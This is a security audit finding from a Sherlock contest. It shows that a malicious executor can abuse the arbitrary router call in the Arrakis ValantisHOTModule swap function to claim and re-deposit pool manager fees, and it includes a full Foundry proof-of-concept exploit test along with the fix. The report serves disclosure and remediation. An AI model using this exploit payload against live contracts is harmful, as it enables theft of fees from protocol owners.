juaan - A malicious executor can delete the fees belonging to the owner of `ArrakisStandardManager`

[sherlock-admin2]

juaan

high

A malicious executor can delete the fees belonging to the owner of ArrakisStandardManager

Summary

The contest README states that the executor of ArrakisStandardManager is a RESTRICTED role during rebalance action on vaults.

This report shows a way for the executor to call ArrakisStandardManager::rebalance() with a malicious payload, which ends up stealing the accrued manager fees and re-depositing them into the pool’s liquidity.

Vulnerability Detail

On calling rebalance() , it makes a call to the module, with provided payloads_ from the executor:

(bool success,) = address(module).call(payloads_[i]);

For this attack, the payload’s function signature will be of the swap() function in the ValantisHOTModule

The swap() function essentially does these 3 things:

1. Withdraw liquidity from the pool (via ALM)
2. Do an arbitrary call to an arbitrary address (router_.call(payload_))
3. Deposit the resulting balance back into the pool (via ALM)

The intended functionality is that in step 2, a call is made to a router which swaps the tokens to rebalance the funds.

However, a malicious executor can use this arbitrary call to execute any admin function in other contracts (HOT, SovereignPool) that only this module is allowed to call.

The issue with the above is that the swap() function has a slippage check after step 2:

if (zeroForOne_) {
    if (balance1 < _actual1 + expectedMinReturn_) { // require(balance1 >= _actual1 + expectedMinReturn_);
        revert SlippageTooHigh();
    }
} else {
    if (balance0 < _actual0 + expectedMinReturn_) {
        revert SlippageTooHigh();
    }
}

This means that in order for the swap() to not revert, the balance of the output token must increase by at least expectedMinReturn_ during step2.

Now due to the _checkMinReturn check that is done at the start of swap() , the expectedMinReturn_ must be at least 1.

Hence, in step 2, trying to call admin functions like HOT.setFeeds() will revert since no tokens are sent in to the contract during this call, so it fails the slippage check shown above. This is the case for most admin functions except for two, one of which is SovereignPool.claimPoolManagerFees:

function claimPoolManagerFees(
    uint256 _feeProtocol0Bips,
    uint256 _feeProtocol1Bips
)
    external
    override
    nonReentrant
    onlyPoolManager
    returns (uint256 feePoolManager0Received, uint256 feePoolManager1Received)
{
    (feePoolManager0Received, feePoolManager1Received) = _claimPoolManagerFees(
        _feeProtocol0Bips,
        _feeProtocol1Bips,
        msg.sender
    );
}

We can see that the pool manager fees are sent to msg.sender which is the module. This will increase the module’s balance during step 2, allowing it to pass the slippage check.

Then, these claimed manager fees will be deposited back to the pool in step3, effectively deleting the accrued manager fees. (All of this is proven in the coded PoC)

In addition to the above fund loss, since poolManager is updated to address(0), any onlyPoolManager functions within the pool will revert.

Impact

100% of the fees which are meant for the Arrakis manager are re-deposited into the pool by a malicious executor and never claimable by the manager.

Proof of Concept

Here is a coded proof of concept demonstrating the vulnerability in action.

To run it, add the following code to a new file within the arrakis-modular/test/integration directory. Then run forge test --mt test_stealManagerFees in the terminal.

Coded PoC

```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; // Foundry Imports import {console} from "forge-std/console.sol"; import {Vm} from "forge-std/Vm.sol"; import {Test} from "forge-std/Test.sol"; // Arrakis Imports import {IArrakisMetaVaultPublic} from "../../src/interfaces/IArrakisMetaVaultPublic.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {IArrakisStandardManager} from "../../src/interfaces/IArrakisStandardManager.sol"; // Valantis Imports import {IValantisHOTModule} from "../../src/interfaces/IValantisHOTModule.sol"; import {SovereignPool} from "../../lib/valantis-hot/lib/valantis-core/src/pools/SovereignPool.sol"; import {HOT} from "@valantis-hot/contracts/HOT.sol"; // Base Test import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; contract PoC_StealManagerFees is ValantisIntegrationPublicTest { address attacker; address rec; function test_stealManagerFees() public { rec = makeAddr("rec"); attacker = makeAddr("attacker"); address m = address(IArrakisMetaVault(vault).module()); assertEq(pool.poolManager(), m); deal(address(token0), rec, init0); // 2000e6 (0: USDC) deal(address(token1), rec, init1); // 1e18 (1: WETH) // user mints from meta vault vm.startPrank(rec); token0.approve(m, init0); token1.approve(m, init1); IArrakisMetaVaultPublic(vault).mint(1e18, rec); vm.stopPrank(); uint256 FEE_AMOUNT_0 = 1 wei; uint256 FEE_AMOUNT_1 = 1 wei; // Simulating 1 wei of fees in the `SovereignPool` vm.store(address(pool), bytes32(uint(5)), bytes32(FEE_AMOUNT_0)); vm.store(address(pool), bytes32(uint(6)), bytes32(FEE_AMOUNT_1)); // Sending the fee to the pool deal(address(token0), address(pool), token0.balanceOf(address(pool)) + FEE_AMOUNT_0); deal(address(token1), address(pool), token1.balanceOf(address(pool)) + FEE_AMOUNT_1); bool zeroForOne = false; uint256 amountIn = 1; // Using small values since we are not actually swapping anything uint256 expectedMinReturn = 1; // payload that claims the fees and sends it to the LPModule bytes memory payload = abi.encodeWithSelector( SovereignPool.claimPoolManagerFees.selector, 0, 0 ); bytes memory data = abi.encodeWithSelector( IValantisHOTModule.swap.selector, zeroForOne, expectedMinReturn, amountIn, address(pool), 0, //note: this 0,0 lets us skip the checks in `HOT::_checkSpotPriceRange` during depositLiquidity 0, payload ); bytes[] memory datas = new bytes[](1); datas[0] = data; (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves(); // Perform the attack vm.prank(executor); IArrakisStandardManager(manager).rebalance(vault, datas); (uint256 reserves0After, uint256 reserves1After) = pool.getReserves(); // Assert that fees meant for the manager were re-deposited assertEq(reserves0After, reserves0Before + FEE_AMOUNT_0); assertEq(reserves1After, reserves1Before + FEE_AMOUNT_1); // Assert that the remaining fees is 0 (uint256 fee0, uint256 fee1) = pool.getPoolManagerFees(); assertEq(fee0, 0); assertEq(fee1, 0); } } ```

Code Snippet

The arbitrary call to the arbitrary address:

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L375-L378

minReturn check that is bypassed by the fees claimed:

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L384-L397

Tool used

Manual Review

Recommendation

Don’t allow the router_ parameter in ValantisModule to be the SovereignPool associated with this module.

+ if (router_ == address(pool)) revert();

[WangSecurity]

This is the new family based on the escalation on #28

[sherlock-admin2]

The protocol team fixed this issue in the following PRs/commits: https://github.com/ArrakisFinance/arrakis-modular/pull/88

[sherlock-admin2]

The Lead Senior Watson signed off on the fix.